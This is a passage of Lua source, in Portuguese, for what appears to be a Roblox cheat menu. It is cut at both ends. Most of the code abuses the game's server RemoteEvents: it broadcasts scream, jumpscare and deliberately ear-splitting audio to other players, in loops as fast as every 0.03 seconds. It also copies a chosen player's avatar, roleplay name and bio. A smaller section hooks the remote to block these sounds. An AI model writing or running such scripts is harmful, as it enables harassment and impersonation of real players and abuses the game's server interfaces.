{name = "Oh My God", id = 73349649774476},
{name = "Todo Mundo Ser FD", id = 136804576009416},
{name = "Nobru Apelão", id = 77627828376120},
{name = "Muito Afiado", id = 130905328878700},
{name = "Bosta!!!", id = 8430024127},
{name = "Vai Lava Prato", id = 101232400175829},
{name = "I Ghost The Down", id = 84663543883498},
{name = "Seloko Num Compensa", id = 78442476709262}
}
local LOUD_AUDIOS = {
{name = "Scream", id = 9073793467},
{name = "Kid Scream", id = 17446497097},
{name = "Fall Angel Scream", id = 142539051},
{name = "Death Scream", id = 106702821521306},
{name = "Og Scream", id = 80156405968805},
{name = "Sonic.exe Scream New", id = 930613220},
{name = "Indra Laugh", id = 178038408},
{name = "Audio Glitcher Sound Old", id = 7236490488},
{name = "Oof Sound", id = 6598984092},
{name = "Buuuh Sound", id = 83788010495185},
{name = "Laugh Sound", id = 123106903091799},
{name = "Jason..", id = 96381698372079},
{name = "Quero Café..", id = 113702985238621},
{name = "Jumpscare sfx", id = 85271883712040},
{name = "Fnaf 1 Jumpscare", id = 6982454389},
{name = "Granny Jumpscare", id = 1592934514},
{name = "Loud Jumpscare", id = 8819324666},
{name = "Anônimo", id = 5710016194},
{name = "Troll Laugh", id = 73753120048787},
{name = "Skull's Laugh", id = 78836790233075},
{name = "Laugh Noli", id = 126967668249129},
{name = "C00lkid No Fear!", id = 126083075694948},
{name = "C00lkid Hahaha", id = 102348131944238},
{name = "SirenHead", id = 5681392074},
{name = "Tubers93", id = 103215672097028},
{name = "Alt Horroroso", id = 85435253347146},
{name = "Mega Áudio", id = 6855150757},
{name = "Ruim", id = 120034877160791},
{name = "Care2", id = 110637995610528},
{name = "Ahahahaha", id = 7772283448},
{name = "Maikw", id = 18786647417},
{name = "Hit", id = 7129073354},
{name = "Nuclear", id = 675587093},
{name = "Potência", id = 7520729342},
{name = "Cinema", id = 91412024101709},
{name = "Estora Tímpano", id = 268116333},
{name = "AIIIIM", id = 106835463235574},
{name = "The Boiled One", id = 137177653817621},
{name = "OLK Detected", id = 9068077052},
{name = "TNT", id = 80156405968805},
{name = "Ououou", id = 9084006093},
{name = "Amgs", id = 6651571134},
{name = "Ahm", id = 6701126635},
{name = "SuperGrito", id = 5853668794},
{name = "UHHHHH", id = 7056720271},
{name = "Hihihi Suss", id = 7153419575},
{name = "Sonic do Mal", id = 2496367477},
{name = "Tubers93 1", id = 270145703},
{name = "Tubers93 2", id = 18131809532},
{name = "John's Laugh", id = 130759239},
{name = "GritoSS", id = 80156405968805},
{name = "Sus Audio", id = 7705506391}
}
function AudioManager.new()
local self = {}
self.selectedTrollAudio = nil
self.selectedLoudAudio = nil
self.trollLoop = false
self.loudLoop = false
self.fastLoop = false
self.DEFAULT_VOLUME = 1
self.LOOP_WAIT_TIME = 1
self.FAST_LOOP_WAIT_TIME = 0.03
self.DEFAULT_LOUD_AUDIO = 6314880174
local function createSound(audioId, parent, volume)
volume = volume or self.DEFAULT_VOLUME
parent = parent or LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if not parent then
warn("nn achado")
return nil
end
local sound = Instance.new("Sound")
sound.SoundId = "rbxassetid://" .. tostring(audioId)
sound.Volume = volume
sound.Parent = parent
return sound
end
local function fireServerAudio(audioId)
local soundEvent = ReplicatedStorage:FindFirstChild("RE")
if soundEvent then
local gunSoundEvent = soundEvent:FindFirstChild("1Gu1nSound1s")
if gunSoundEvent then
local success, err = pcall(function()
gunSoundEvent:FireServer(Workspace, audioId, self.DEFAULT_VOLUME)
end)
if not success then
warn("Erro ao reproduzir áudio no servidor: " .. tostring(err))
end
else
warn("Evento de som não encontrado")
end
else
warn("ReplicatedStorage.RE não encontrado")
end
end
function self:playAudio(audioId, playOnServer)
if not audioId then
warn("ID de áudio não especificado")
return
end
if playOnServer then
fireServerAudio(audioId)
end
local sound = createSound(audioId)
if sound then
sound:Play()
sound.Ended:Connect(function()
sound:Destroy()
end)
end
end
function self:playClientSideAudio(audioId)
local audioFolder = Workspace:FindFirstChild("Audio all client")
if not audioFolder then
audioFolder = Instance.new("Folder")
audioFolder.Name = "Audio all client"
audioFolder.Parent = Workspace
end
local sound = createSound(audioId, audioFolder)
if sound then
sound.Looped = false
sound:Play()
task.spawn(function()
task.wait(1)
if sound and sound.Parent then
sound:Destroy()
end
end)
end
end
function self:startTrollLoop()
if not self.selectedTrollAudio then
warn("Nenhum áudio de troll selecionado")
return
end
self.trollLoop = true
task.spawn(function()
while self.trollLoop do
self:playAudio(self.selectedTrollAudio, true)
task.wait(self.LOOP_WAIT_TIME)
end
end)
end
function self:stopTrollLoop()
self.trollLoop = false
end
function self:startLoudLoop()
if not self.selectedLoudAudio then
warn("Nenhum áudio estourado selecionado")
return
end
self.loudLoop = true
task.spawn(function()
while self.loudLoop do
self:playAudio(self.selectedLoudAudio, true)
task.wait(self.LOOP_WAIT_TIME)
end
end)
end
function self:stopLoudLoop()
self.loudLoop = false
end
function self:startFastLoop()
self.fastLoop = true
task.spawn(function()
while self.fastLoop do
fireServerAudio(self.DEFAULT_LOUD_AUDIO)
task.spawn(function()
self:playClientSideAudio(self.DEFAULT_LOUD_AUDIO)
end)
task.wait(self.FAST_LOOP_WAIT_TIME)
end
end)
end
function self:stopFastLoop()
self.fastLoop = false
end
function self:setSelectedTrollAudio(audioId)
self.selectedTrollAudio = audioId
end
function self:setSelectedLoudAudio(audioId)
self.selectedLoudAudio = audioId
end
return self
end
local function extractAudioNames(audioList)
local names = {}
for _, audio in ipairs(audioList) do
table.insert(names, audio.name)
end
return names
end
local function findAudioById(audioList, name)
for _, audio in ipairs(audioList) do
if audio.name == name then
return audio.id
end
end
return nil
end
local audioManager = AudioManager.new()
local trollAudioNames = extractAudioNames(TROLL_AUDIOS)
local loudAudioNames = extractAudioNames(LOUD_AUDIOS)
Tabs.AD:AddSection({Translator:traduzir("Áudios de Trollagem")})
Tabs.AD:AddDropdown({
Name = Translator:traduzir("Escolher Áudio de Troll"),
Description = Translator:traduzir("Selecione um áudio para trollar"),
Options = trollAudioNames,
Default = "Selecione um áudio",
Callback = function(value)
local audioId = findAudioById(TROLL_AUDIOS, value)
if audioId then
audioManager:setSelectedTrollAudio(audioId)
end
end
})
local audioId
Tabs.AD:AddTextBox({
Name = Translator:traduzir("Insira o ID do Áudio ou Musica"),
Description = Translator:traduzir("Digite o ID do áudio"),
PlaceholderText = "Números",
Callback = function(value)
audioId = tonumber(value)
end
})
Tabs.AD:AddButton({
Name = Translator:traduzir("Reproduzir Troll"),
Description = Translator:traduzir("Reproduzir o áudio selecionado uma vez"),
Callback = function()
if audioManager.selectedTrollAudio then
audioManager:playAudio(audioManager.selectedTrollAudio, true)
else
warn("Selecione um áudio primeiro!")
end
end
})
Tabs.AD:AddToggle({
Name = Translator:traduzir("Loop de Troll"),
Description = Translator:traduzir("Repetir continuamente o áudio selecionado"),
Default = false,
Callback = function(value)
if value then
audioManager:startTrollLoop()
else
audioManager:stopTrollLoop()
end
end
})
Tabs.AD:AddSection({Translator:traduzir("Áudios Estourados")})
Tabs.AD:AddDropdown({
Name = Translator:traduzir("Escolher Áudio Estourado"),
Description = Translator:traduzir("Selecione um áudio estourado"),
Options = loudAudioNames,
Default = Translator:traduzir("Selecione um áudio"),
Callback = function(value)
local audioId = findAudioById(LOUD_AUDIOS, value)
if audioId then
audioManager:setSelectedLoudAudio(audioId)
end
end
})
Tabs.AD:AddButton({
Name = Translator:traduzir("Reproduzir Estourado"),
Description = Translator:traduzir("Reproduzir o áudio estourado uma vez"),
Callback = function()
if audioManager.selectedLoudAudio then
audioManager:playAudio(audioManager.selectedLoudAudio, true)
else
warn("Selecione um áudio primeiro!")
end
end
})
Tabs.AD:AddToggle({
Name = Translator:traduzir("Loop Estourado"),
Description = Translator:traduzir("Repetir continuamente o áudio estourado"),
Default = false,
Callback = function(value)
if value then
audioManager:startLoudLoop()
else
audioManager:stopLoudLoop()
end
end
})
Tabs.AD:AddSection({Translator:traduzir("Configurações Especiais")})
Tabs.AD:AddToggle({
Name = Translator:traduzir("Áudio Estourado Rápido"),
Description = Translator:traduzir("Loop ultra rápido do áudio padrão (cuidado!)"),
Default = false,
Callback = function(value)
getgenv().Audio_All_loop_fast = value
if value then
audioManager:startFastLoop()
else
audioManager:stopFastLoop()
end
end
})
local antiAudioEnabled = false
local connections = {}
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local Players = game:GetService("Players")
local blockedAudioIDs = {
6314880174, 110493863773948, 128137573022197, 88332347208779, 77405864184828,
130714479795369, 106624090319571, 107261471941570, 76067381821846, 103262503950995,
97476487963273, 94395705857835, 90844637105538, 120214772725166, 6549021381,
103211341252816, 86012585992725, 98076927129047, 121668429878811, 112804043442210,
127012936767471, 134699681156023, 93414656438796, 102788826091273, 107112539171307,
90992376085736, 101481458650889, 131646665531667, 17732575062, 113831443375212,
8164241439, 71153532555470, 95982351322190, 73349649774476, 136804576009416,
77627828376120, 130905328878700, 8430024127, 101232400175829, 84663543883498,
78442476709262, 5710016194, 85435253347146, 6855150757, 120034877160791,
110637995610528, 7772283448, 18786647417, 7129073354, 675587093, 7520729342,
91412024101709, 268116333, 106835463235574, 132603645477541, 133843750864059,
8747441609, 137177653817621, 128669424001766, 9068077052, 80156405968805,
9084006093, 6651571134, 6701126635, 5853668794, 7056720271, 7153419575,
108494476595033, 2496367477, 270145703, 18131809532, 130759239, 7705506391,
103440368630269
}
local blockedIDsLookup = {}
for _, id in ipairs(blockedAudioIDs) do
blockedIDsLookup[tostring(id)] = true
blockedIDsLookup[id] = true
end
local function handleSound(sound)
if not sound or not sound:IsA("Sound") then return end
local soundId = sound.SoundId
if soundId then
local id = soundId:match("(%d+)")
if id and blockedIDsLookup[id] then
sound.Volume = 0
sound:Stop()
task.wait(0.1)
pcall(function() sound:Destroy() end)
return true
end
end
return false
end
local function interceptAudioRemote()
task.spawn(function()
local gunSoundEvent
local attempts = 0
repeat
local RE = ReplicatedStorage:FindFirstChild("RE")
if RE then
gunSoundEvent = RE:FindFirstChild("1Gu1nSound1s")
end
attempts = attempts + 1
task.wait(0.5)
until gunSoundEvent or attempts > 20
if gunSoundEvent and gunSoundEvent:IsA("RemoteEvent") then
local originalFireServer = gunSoundEvent.FireServer
gunSoundEvent.FireServer = function(self, ...)
if antiAudioEnabled then
local args = {...}
if args[2] and blockedIDsLookup[args[2]] then
print("blqueadooo: " .. args[2])
return
end
end
return originalFireServer(self, ...)
end
print(" RemoteEvent achadouuu!")
end
end)
end
local function setupLightMonitoring()
connections.workspaceMonitor = workspace.DescendantAdded:Connect(function(obj)
if antiAudioEnabled and obj:IsA("Sound") then
task.wait(0.1)
handleSound(obj)
end
end)
connections.folderMonitor = workspace.ChildAdded:Connect(function(child)
if antiAudioEnabled and child:IsA("Folder") and child.Name == "Audio all client" then
child:Destroy()
print("️ser fude audio")
end
end)
end
local function startPeriodicCleanup()
connections.periodicCleanup = task.spawn(function()
while antiAudioEnabled do
task.wait(2)
if antiAudioEnabled then
for _, obj in pairs(workspace:GetDescendants()) do
if obj:IsA("Sound") then
handleSound(obj)
end
end
local audioFolder = workspace:FindFirstChild("Audio all client")
if audioFolder then
audioFolder:Destroy()
end
end
end
end)
end
local function toggleAntiAudio(enabled)
antiAudioEnabled = enabled
if enabled then
interceptAudioRemote()
setupLightMonitoring()
startPeriodicCleanup()
task.spawn(function()
for _, obj in pairs(workspace:GetDescendants()) do
if obj:IsA("Sound") then
handleSound(obj)
end
end
end)
else
for _, connection in pairs(connections) do
if connection then
if typeof(connection) == "RBXScriptConnection" then
connection:Disconnect()
else
task.cancel(connection)
end
end
end
connections = {}
end
end
local Toggle = Tabs.AD:AddToggle({
Name = "Anti - Audios <betaTeste>",
Description = "Bloqueia apenas áudios trolls específicos",
Default = false
})
Toggle:Callback(function(Value)
toggleAntiAudio(Value)
end)
Tabs.AD:AddSection({Translator:traduzir("Música no Rádio <Game Pass>")})
local selectedMusicDrip = ""
local MusicsListDrip = {
{ Name = "confession", Id = 92992163303925 },
{ Name = "Pac Man Phonk", Id = 120889371113999 },
{ Name = "Trying To finde", Id = 132643763204246 },
{ Name = "Batalla de bombas", Id = 71995582569283 },
{ Name = "Another hiit", Id = 99731755429975 },
{ Name = "Mtg uh uh ha ha", Id = 122697381252723 },
{ Name = "fa3 renitch", Id = 128934903242385 },
{ Name = "Kawaii", Id = 13067828528278 },
{ Name = "Feeling", Id = 120764084521465 },
{ Name = "Aura + Egp", Id = 97841988407875 },
{ Name = "Mtg Balada", Id = 83797836818857 },
{ Name = "tomagi mo tão", Id = 111668097052966 },
{ Name = "mtg terra bela funk", Id = 134770548505933 },
{ Name = "Hard tuff fye", Id = 92979002969874 },
{ Name = "The Twelve", Id = 126153082683694 },
------
{ Name = "beats", Id = 16190782181 },
{ Name = "Samba", Id = 1836175030 },
{ Name = "Samba2", Id = 1838888602 },
{ Name = "Carro de Ovos", Id = 3148329638 },
{ Name = "Banka", Id = 16190784229 },
{ Name = "Essa é Antiga", Id = 90999978343771 },
{ Name = "Essa Aqui é Braba", Id = 120833520065453 },
{ Name = "Help Me Phonk", Id = 72458292563094 },
{ Name = "Envolve A Tropa", Id = 88094479399489 },
{ Name = "No Pick Mulher", Id = 92893359226454 },
{ Name = "Mídia", Id = 105832154444494 },
{ Name = "Phonk Version", Id = 103409297553965 },
{ Name = "Phonk louco", Id = 73140398421340 },
{ Name = "Slowed Vapo No Vapo", Id = 106317184644394 },
{ Name = "Phonk Brasil", Id = 111281710445018 },
{ Name = "No Solinho", Id = 72440232513341 },
{ Name = "Phonk Inglês", Id = 14145624031 },
{ Name = "Ultra Slowed", Id = 84733736048142 },
{ Name = "Ritmada", Id = 104541292443133 },
{ Name = "Hoje Vou Ser Tua Mulher", Id = 90844637105538},
{ Name = "Ritmada Novinha", Id = 94718473830640 },
{ Name = "So de te olha", Id = 74187181906707 },
{ Name = "Não Estou louco", Id = 74366765967475 },
{ Name = "Manda Meu Passinho", Id = 77741294709660 },
{ Name = "Cenário Selvagem", Id = 117562011395992 },
{ Name = "Want To Love", Id = 104846670980072 },
{ Name = "Melodia Virtual", Id = 139147474886402 },
{ Name = "Signora Funk", Id = 123394392737234 },
{ Name = "Blassed Mane", Id = 16831108393 },
{ Name = "Onichan", Id = 17422156627 },
{ Name = "hoodtrap", Id = 73685038553576 },
{ Name = "I love you so", Id = 98364034458260 },
{ Name = "Poze Cv", Id = 124244582950595 },
{ Name = "Trap", Id = 131582258401093 },
{ Name = "Oruan - Sou Teu fã", Id = 85342086082111 },
{ Name = "Soldado Guerreiro", Id = 71590664026646 },
{ Name = "Fuga Na Viatura", Id = 131891110268352 },
{ Name = "forró ja cansou", Id = 74812784884330},
{ Name = "gol contra", Id = 122114766584918},
{ Name = "Anxiety", Id = 101483901475189 },
{ Name = "Grelo So fé", Id = 72200166265935 },
{ Name = "Phonk sexoagressivo", Id = 111995323199676 },
{ Name = "forró da resenha", Id = 120973520531216 },
{ Name = "escolha certa", Id = 107088620814881 },
{ Name = "lembro ate hoje", Id = 71531533552899 },
{ Name = "chinese phonk", Id = 134713831368801 },
{ Name = "Nooo", Id = 73685038553576 },
{ Name = "tuber 93", Id = 1839246711 }
}
local DripRadio = {}
local MusicIds = {}
for _, music in ipairs(MusicsListDrip) do
table.insert(DripRadio, music.Name)
if music.Id then
MusicIds[music.Name] = music.Id
end
end
local Dropdown = Tabs.AD:AddDropdown({
Name = Translator:traduzir("Selecionar Música"),
Description = Translator:traduzir("Toca no rádio via ToolMusicText"),
Options = DripRadio,
Default = "Escolha uma música",
Callback = function(Value)
selectedMusicDrip = Value
end
})
Tabs.AD:AddButton({Translator:traduzir("Tocar Música no Rádio <FM>"), function()
local musicId = MusicIds[selectedMusicDrip]
if musicId then
local args = {
[1] = "ToolMusicText",
[2] = tostring(musicId)
}
game:GetService("ReplicatedStorage"):WaitForChild("RE", 9e9):WaitForChild("PlayerToolEvent", 9e9):FireServer(unpack(args))
end
end })
Tabs.AD:AddButton({Translator:traduzir("Pegar Rádio <FM>"), function()
local args = {
[1] = "PickingTools";
[2] = "Boombox";
}
game:GetService("ReplicatedStorage"):WaitForChild("RE", 9e9):WaitForChild("1Too1l", 9e9):InvokeServer(unpack(args))
end })
Tabs.AD:AddButton({Translator:traduzir("Parar Música do Rádio <FM>"), function()
local args = {
[1] = "ToolMusicStop",
[2] = ""
}
game:GetService("ReplicatedStorage"):WaitForChild("RE", 9e9):WaitForChild("PlayerToolEvent", 9e9):FireServer(unpack(args))
end })
end
-----------------///////TABS - AVT///////-----------------
do
Tabs.AVT:AddSection({Translator:traduzir("Animação & Reset")})
Tabs.AVT:AddButton({Translator:traduzir("Reseta Avatar"), function()
game:GetService("ReplicatedStorage").Remotes.ResetCharacterAppearance:FireServer()
end})
Tabs.AVT:AddButton({Translator:traduzir("Animação home ou muie"), function()
local args = {
[1] = 4418326547
}
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
end})
Tabs.AVT:AddSection({Translator:traduzir("Melhores Partes")})
Tabs.AVT:AddButton({Translator:traduzir("Cabeça Invisível"), function()
local args = {
[1] = 134082579
}
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
end})
Tabs.AVT:AddButton({Translator:traduzir("Machado Escuro"), function()
local args = {
[1] = 3240543366
}
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
end})
Tabs.AVT:AddSection({Translator:traduzir("Sistema de Avatares")})
local Target = nil
local Playestt = Tabs.AVT:AddDropdown({
Name = Translator:traduzir("Selecionar Jogador"),
Description = " ",
Options = {},
Default = Target,
Callback = function(Value)
Target = Value
end
})
Tabs.AVT:AddSlider({
Name = Translator:traduzir("Verificação De Parts <Update>"),
Min = 5,
Max = 15,
Increase = 1,
Default = 25,
Callback = function(Value)
print([[funcionndo oooooo]])
end
})
Tabs.AVT:AddButton({
Name = Translator:traduzir("Atualizar lista"),
Callback = function()
local novaTabela = {}
for _, v in pairs(Players:GetPlayers()) do
if v ~= Players.LocalPlayer then
table.insert(novaTabela, v.Name)
end
end
Playestt:Set(novaTabela)
end
})
Tabs.AVT:AddButton({
Name = Translator:traduzir("Copiar Avatar"),
Callback = function()
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Remotes = ReplicatedStorage:WaitForChild("Remotes")
redzlib:Notify({
Title = "Copy Avatar...",
Description = "copying avatar please wait",
Type = "Success",
Duration = 4
})
if not Remotes then
warn("Pasta Remotes não encontrada.")
return
end
local function wearItem(id, remotes)
if not tonumber(id) then return end
for _, nome in ipairs(remotes) do
local remote = Remotes:FindFirstChild(nome)
if remote then
remote:InvokeServer(tonumber(id))
task.wait(0.2)
return true
end
end
end
local function safeFire(nome, ...)
local remote = Remotes:FindFirstChild(nome)
if remote then
remote:FireServer(...)
task.wait(0.2)
end
end
if not Target then return end
local LP = Players.LocalPlayer
local LChar = LP.Character
local TPlayer = Players:FindFirstChild(Target)
if TPlayer and TPlayer.Character then
local LHumanoid = LChar and LChar:FindFirstChildOfClass("Humanoid")
local THumanoid = TPlayer.Character:FindFirstChildOfClass("Humanoid")
if LHumanoid and THumanoid then
local LDesc = LHumanoid:GetAppliedDescription()
for _, acc in ipairs(LDesc:GetAccessories(true)) do
wearItem(acc.AssetId, {"WearAccessory", "Wear"})
end
wearItem(LDesc.Shirt, {"WearShirt", "WearOutfit", "Wear"})
wearItem(LDesc.Pants, {"WearPants", "WearOutfit", "Wear"})
wearItem(LDesc.Face, {"WearFace", "Wear"})
local PDesc = THumanoid:GetAppliedDescription()
local argsBody = {
[1] = {
PDesc.Torso or 0,
PDesc.RightArm or 0,
PDesc.LeftArm or 0,
PDesc.RightLeg or 0,
PDesc.LeftLeg or 0,
PDesc.Head or 0
}
}
local remoteBody = Remotes:FindFirstChild("ChangeCharacterBody")
if remoteBody then
remoteBody:InvokeServer(unpack(argsBody))
task.wait(0.3)
else
warn("RemoteFunction 'ChangeCharacterBody' não encontrado.")
end
wearItem(PDesc.Shirt, {"WearShirt", "WearOutfit", "Wear"})
wearItem(PDesc.Pants, {"WearPants", "WearOutfit", "Wear"})
wearItem(PDesc.Face, {"WearFace", "Wear"})
for _, acc in ipairs(PDesc:GetAccessories(true)) do
wearItem(acc.AssetId, {"WearAccessory", "Wear"})
end
wearItem(PDesc.IdleAnimation, {"WearAnimation", "Wear"})
local SkinColor = TPlayer.Character:FindFirstChild("Body Colors")
if SkinColor then
safeFire("ChangeBodyColor", tostring(SkinColor.HeadColor))
end
local Bag = TPlayer:FindFirstChild("PlayersBag")
if Bag then
local function sendText(childName, remoteKey)
local c = Bag:FindFirstChild(childName)
if c and c.Value ~= "" then
safeFire("RPNameText", remoteKey, c.Value)
end
end
sendText("RPName", "RolePlayName")
sendText("RPBio", "RolePlayBio")
if Bag:FindFirstChild("RPNameColor") then
safeFire("RPNameColor", "PickingRPNameColor", Bag.RPNameColor.Value)
end
if Bag:FindFirstChild("RPBioColor") then
safeFire("RPNameColor", "PickingRPBioColor", Bag.RPBioColor.Value)
end
end
end
end
redzlib:Notify({
Title = "Notification",
Description = "Avatar Successfuly Copied",
Type = "Success",
Duration = 4
})
end
})
Tabs.AVT:AddSection({Translator:traduzir("Super Heróis <Packs>")})
local roupasCompletas = {
["Homen Aranha"] = {14908247332, 16845737664, 17582186503,4211409027, 14840793625, 11774975425, 18507527463, 3346307465},
}
for nome, ids in pairs(roupasCompletas) do
Tabs.AVT:AddButton({nome, function()
for _, id in ipairs(ids) do
local args = { [1] = id }
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
task.wait(0.5)
end
end})
end
local roupasCompletas2 = {
["Batma"] = {3049284724, 3049285265, 10647971081, 11977276041},
}
for nome, ids in pairs(roupasCompletas2) do
Tabs.AVT:AddButton({nome, function()
for _, id in ipairs(ids) do
local args = { [1] = id }
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
task.wait(0.5)
end
end})
end
local roupasCompletas = {
["ADM <Magnus>"] = {77933716022362,73722333789629,91122615317042},
}
for nome, ids in pairs(roupasCompletas) do
Tabs.AVT:AddButton({nome, function()
for _, id in ipairs(ids) do
local args = { [1] = id }
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
task.wait(0.5)
end
end})
end
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Remotes = ReplicatedStorage:WaitForChild("Remotes")
local function aplicarPackCompleto(idsDeRoupas, corpoParts, corHex)
for _, id in ipairs(idsDeRoupas) do
local args = { [1] = id }
Remotes.Wear:InvokeServer(unpack(args))
task.wait(0.4)
end
if corpoParts then
local args = {
[1] = {
corpoParts[1] or 0,
corpoParts[2] or 0,
corpoParts[3] or 0,
corpoParts[4] or 0,
corpoParts[5] or 0,
corpoParts[6] or 0
}
}
Remotes.ChangeCharacterBody:InvokeServer(unpack(args))
task.wait(0.3)
end
if corHex then
local args = { [1] = corHex }
Remotes.ChangeBodyColor:FireServer(unpack(args))
end
end
Tabs.AVT:AddSection({Translator:traduzir("Mulher Bonita <Packs>")})
Tabs.AVT:AddButton({Translator:traduzir("Diva"), function()
aplicarPackCompleto(
{11360863184, 17656515587, 18927622972 ,89283403956872, 16040053134, 16899958482, 7074764, 398633812,10767462626},
{86499666, 86499698, 86499716, 4637243648, 4637242166, 86498113},
"Pastel brown"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Estilosa"), function()
aplicarPackCompleto(
{12938939719, 1018553897, 80421353242027, 124139520692742, 16746345026, 107641508206263, 109333206714180, 17577949104, 90353843350916, 16177197399, 144075659},
{86499666, 86499698, 86499716, 86500078, 86500064, 746767604},
"Pastel brown"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Elegância Rosa-Pastel"), function()
aplicarPackCompleto(
{607785314, 144076760, 126583402548463, 13979330180, 17336525832, 88103003332276, 16687323428, 18517084101, 125783616515731, 18105274965, 12548809610, 14708696366, 10907197686, 16945491141, 109260326125093, 17286711891, 619511648, 77427504538679, 8923596632, 619512450, 5319900634, 619512767},
{86499666, 86499698, 86499716, 86500078, 86500064, 746767604},
"Cocoa"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Hello Kitty"), function()
aplicarPackCompleto(
{13173625676, 4899180116,3810243219, 93871285817506,12350578988,16725686557,137102739371519,18197906770, 121124788407780,7343929525,
12064732367,16860622017,6808475694,150381051,10557360323,4300266038,6055891536,7331163641,607785314,144076760,79519657364119,},
{86499666,86499698,86499716,4637243648,4637242166,86498113},
"Black"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Girl Y2k"), function()
aplicarPackCompleto(
{117962544014646,79090236788624,126490351689789,87525012171586,117202070642397,95833326294342,18257712999,15678185297,17006900288},
{86499666,86499698,86499716,4637243648,4637242166,86498113},
"Light orange"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Girl v2"), function()
aplicarPackCompleto(
{96165808437053,16266670139,138071050651366,14439161358,78467861086741,17331454126,115581513157249,114153430587737,125828421311007,81108098355950,108041588020934,17529187838,130737457414077,12922239190,13481364215,12070660079,16290585600,6962749149,10482501471},
{86499666,86499698,86499716,4637243648,4637242166,86498113},
"Light orange"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Informações De Uso"), function()
Window:Dialog({
Title = "Fun",
Text = Translator:traduzir("•As funções acima já aplicam as roupas completas, portanto, basta apenas modificar o corpo ou a cor."),
Options = {
{"Fechar", function()
end}
}
})
end})
----‐-----////////////up
Tabs.AVT:AddSection({Translator:traduzir("Packs <Masculinos")})
Tabs.AVT:AddButton({Translator:traduzir("E os D <Masculino>"), function()
aplicarPackCompleto(
{619544080, 4545294588, 5727822995, 3131092953, 14394019402, 14908247332, 6105519422, 100214234209945, 12655501529, 5315424251, 4378579302, 10569953351, 4078052877, 4508445398, 6070755733, 10159610478, 14159848208, 162068415, 6093227893,},
{376532000, 376531012, 376530220, 37754710, 139572789, 0},
"Sun Tan"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Clonado de <Masculino>"), function()
aplicarPackCompleto(
{619544080, 4545294588, 5727822995, 3131092953, 14394019402, 14908247332, 6105519422, 100214234209945, 12655501529, 5315424251, 4378579302, 10569953351, 4078052877, 4508445398,6070755733, 10159610478, 14159848208, 162068415,6093227893,},
{376532000, 376531012, 376530220, 37754710, 139572789, 0},
"Pale brown"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("LOUD <Masculino>"), function()
aplicarPackCompleto(
{12300914679, 14711386122, 12134711097, 14250194694, 11093823714, 13620518518, 14610802451, 71760767936397, 3343204006, 10798519329, 109333206714180, 124139520692742, 12930533426, 80039258998314, 855783877, 855776103, 18615036770, 15036817621, 6093229495, 18220511033, 90934633702402},
{376532000, 376531012, 376530220, 37754710, 139572789, 0},
"Dark nougat"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Fino <Masculino>"), function()
aplicarPackCompleto(
{80615317017048, 78515624557784, 83728028938556, 15920848733, 117962544014646, 123033387074147,118006629713408, 12887129839,7189083561, 12142438478},
{376532000, 376531012, 376530220, 37754710, 139572789, 0},
"Dark nougat"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Trajado <Masculino>"), function()
aplicarPackCompleto(
{15703568073,18236504983,13479814649,18179500302,18199811960,18863739797,11093817656,12432342407,75844104186976,17162919797,17513707733,82973533809363,75623454441613,12357069856,18538149046,95312255683838,109333206714180,15100020498,18507389298,124139520692742},
{},
"Dark nougat"
)
end})
Tabs.AVT:AddButton({Translator:traduzir("Sem dona <Masculino>"), function()
aplicarPackCompleto(
{14762120248,14159814207,18264063859,15153876013,5727822995,15483154656,8966711821,102338622582054,10553396797,4508445398,13620518518,6093226569,12719043468,88040909583438},
{},
"Dark nougat"
)
end})
Tabs.AVT:AddSection({Translator:traduzir("Packs Variados <Conjuntos>")})
Tabs.AVT:AddButton({Translator:traduzir(" Paty Urbana"), function()
aplicarPackCompleto(
{11356850323, 11437083587, 11352777399},
{15539008532, 15539008875, 15539008680, 15539008795, 15539011945, 1},
"Pastel brown"
)
end})
Tabs.AVT:AddButton({Translator:traduzir(" Freak Show"), function()
aplicarPackCompleto(
{113688815143735, 226948064, 17475516808},
{0, 0, 0, 0, 0, 0},
"Ivory"
)
end})
Tabs.AVT:AddSection({Translator:traduzir("Roupas 3D <Conjuntos>")})
local skinIDs = {
["Mostro do S.A"] = 123609977175226,
["Impostor"] = 18234669337,
["Gato Up"] = 18994959003,
["Gato"] = 77506186615650,
["Galinha"] = 71251793812515,
["Coelho"] = 71797333686800,
["Bosta"] = 77013984520332,
["Cachorro"] = 18656467256,
["Pinguim"] = 94944293759578,
["Shrek do mal"] = 120960401202173,
["Pepa Pig"] = 92979204778377,
["Pato"] = 135132836238349,
["MotoMoto"] = 73215892129281,
["Mosquito"] = 108052868536435
}
local skinNames = {}
for name, _ in pairs(skinIDs) do
table.insert(skinNames, name)
end
local selectedSkinName = nil
Tabs.AVT:AddDropdown({
Name = Translator:traduzir("Skins 3D"),
Description = Translator:traduzir("Roupas 3D Varias opções Tops!"),
Options = skinNames,
Default = "Roupas",
Callback = function(Value)
selectedSkinName = Value
end
})
Tabs.AVT:AddButton({Translator:traduzir("Vestir"), function()
if selectedSkinName and skinIDs[selectedSkinName] then
local args = { skinIDs[selectedSkinName] }
game:GetService("ReplicatedStorage").Remotes.Wear:InvokeServer(unpack(args))
end
end})
end
do
Tabs.AVT:AddSection({Translator:traduzir("Especiais Efeitos <Acessórios>")})
local acessoriosEspeciais = {
["Fada do Outono"] = 128217885,
["Fada da Primavera"] = 150381051,
["Fada do Dia de São Petersburgo"] = 226189871,
["Fada do Inverno"] = 141742418,
["Risada de Bruxa"] = 305888394,
